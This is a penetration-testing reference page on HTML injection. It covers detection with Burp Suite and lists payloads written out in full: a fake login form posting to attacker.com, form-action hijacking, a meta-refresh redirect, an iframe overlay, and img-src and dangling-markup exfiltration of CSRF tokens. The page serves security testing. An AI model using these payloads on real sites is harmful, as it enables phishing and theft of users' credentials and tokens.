Web

HTML Injection

HTML injection (without script execution): context identification, tag injection for phishing/credential harvesting, meta refresh redirects, iframe injection, form action hijacking, and distinguishing from XSS when scripts are blocked by CSP.

What is HTML Injection

HTML injection occurs when user input is reflected into the HTML body without sanitisation, but either:

  • JavaScript execution is blocked (CSP with no script-src 'unsafe-inline')
  • The injection point is inside a tag attribute (not sufficient for full XSS)
  • The server strips <script> but allows other tags

Without JS execution, HTML injection can still be exploited for phishing, credential harvesting, data exfiltration via CSS, and UI manipulation.


Detection

Step 1 — Identify reflection points

In Burp Proxy, intercept requests and check where user input appears in the response body:

GET /search?q=hello HTTP/1.1
→ <div>Results for: hello</div>

Step 2 — Test HTML tag injection

?q=<b>test</b>
?q=<h1>Injected</h1>
?q=<img src=x>

In Burp Repeater, check if the tags are rendered (visible as bold/heading/broken image) or encoded (appear as &lt;b&gt;test&lt;/b&gt;).

If rendered → HTML injection confirmed.

Step 3 — Distinguish from XSS

Test script execution:

?q=<script>alert(1)</script>
?q=<img src=x onerror=alert(1)>

If these are blocked/stripped but <b> renders → HTML injection without script execution.


Exploit 1: Phishing Form Injection

Inject a credential-harvesting form into the page:

<h2>Session expired. Please log in again:</h2>
<form action="https://attacker.com/capture" method="POST">
  <input type="text" name="username" placeholder="Username"><br>
  <input type="password" name="password" placeholder="Password"><br>
  <input type="submit" value="Log in">
</form>

The form submits credentials to the attacker’s server but appears to be part of the legitimate site.


Exploit 2: Form Action Hijacking

If an existing login form is on the page and the injection is before the form, inject a <form> tag that closes the original:

</form><form action="https://attacker.com/capture" method="POST">

Or inject into an attribute context to modify the action:

" action="https://attacker.com/capture

If the injection is inside the <form action="..."> attribute, this changes where credentials go.


Exploit 3: Meta Refresh Redirect

<meta http-equiv="refresh" content="0;url=https://attacker.com/phishing">

Redirects the page after 0 seconds. No JavaScript needed.


Exploit 4: iframe Injection

Inject a full-page overlay iframe:

<iframe src="https://attacker.com/fake-login" 
        style="position:fixed;top:0;left:0;width:100%;height:100%;border:none;z-index:9999">
</iframe>

The entire page is replaced visually with the attacker’s content while the legitimate URL stays in the address bar.


Exploit 5: Data Exfiltration via img src

Exfiltrate page content character by character using CSS injection techniques, or use inline images to exfiltrate data:

<img src="https://attacker.com/log?page=CURRENT_URL">

Or to exfiltrate a CSRF token visible in the page:

<img src="https://attacker.com/token?t=VALUE">

Combine with JavaScript (if available) to extract the token dynamically, or with CSS attribute selectors (see CSS Injection page) if JS is blocked.


Exploit 6: dangling markup injection

When you can’t close existing tags, inject unclosed tags to steal content:

<img src='https://attacker.com/steal?data=

The browser reads forward from this point until it finds a ' to close the src attribute — potentially including CSRF tokens, hidden fields, or other sensitive HTML content in the URL sent to the attacker.


Context-Specific Payloads

ContextPayload
Inside <p> text</p><h1>Injected</h1><p>
Inside <a href="...">" href="https://attacker.com" x="
Inside <input value="...">"><form action="//attacker.com"><input name="
Inside <textarea></textarea><script>alert(1)</script>
Inside <!-- comment -->--> injected html <!--
Inside CSS <style></style><script>alert(1)</script>

Burp Suite workflow

  1. Proxy — identify user input reflected in HTML body.
  2. Repeater — inject <b>test</b>, <h1>x</h1>, <img src=x> and check rendering.
  3. Scanner — active scan identifies HTML injection points.
  4. DOM Invader — check for DOM sinks where HTML injection could execute scripts.
  5. For phishing PoC: inject the credential-capture form and submit to your own server; verify the login form appears in the page context.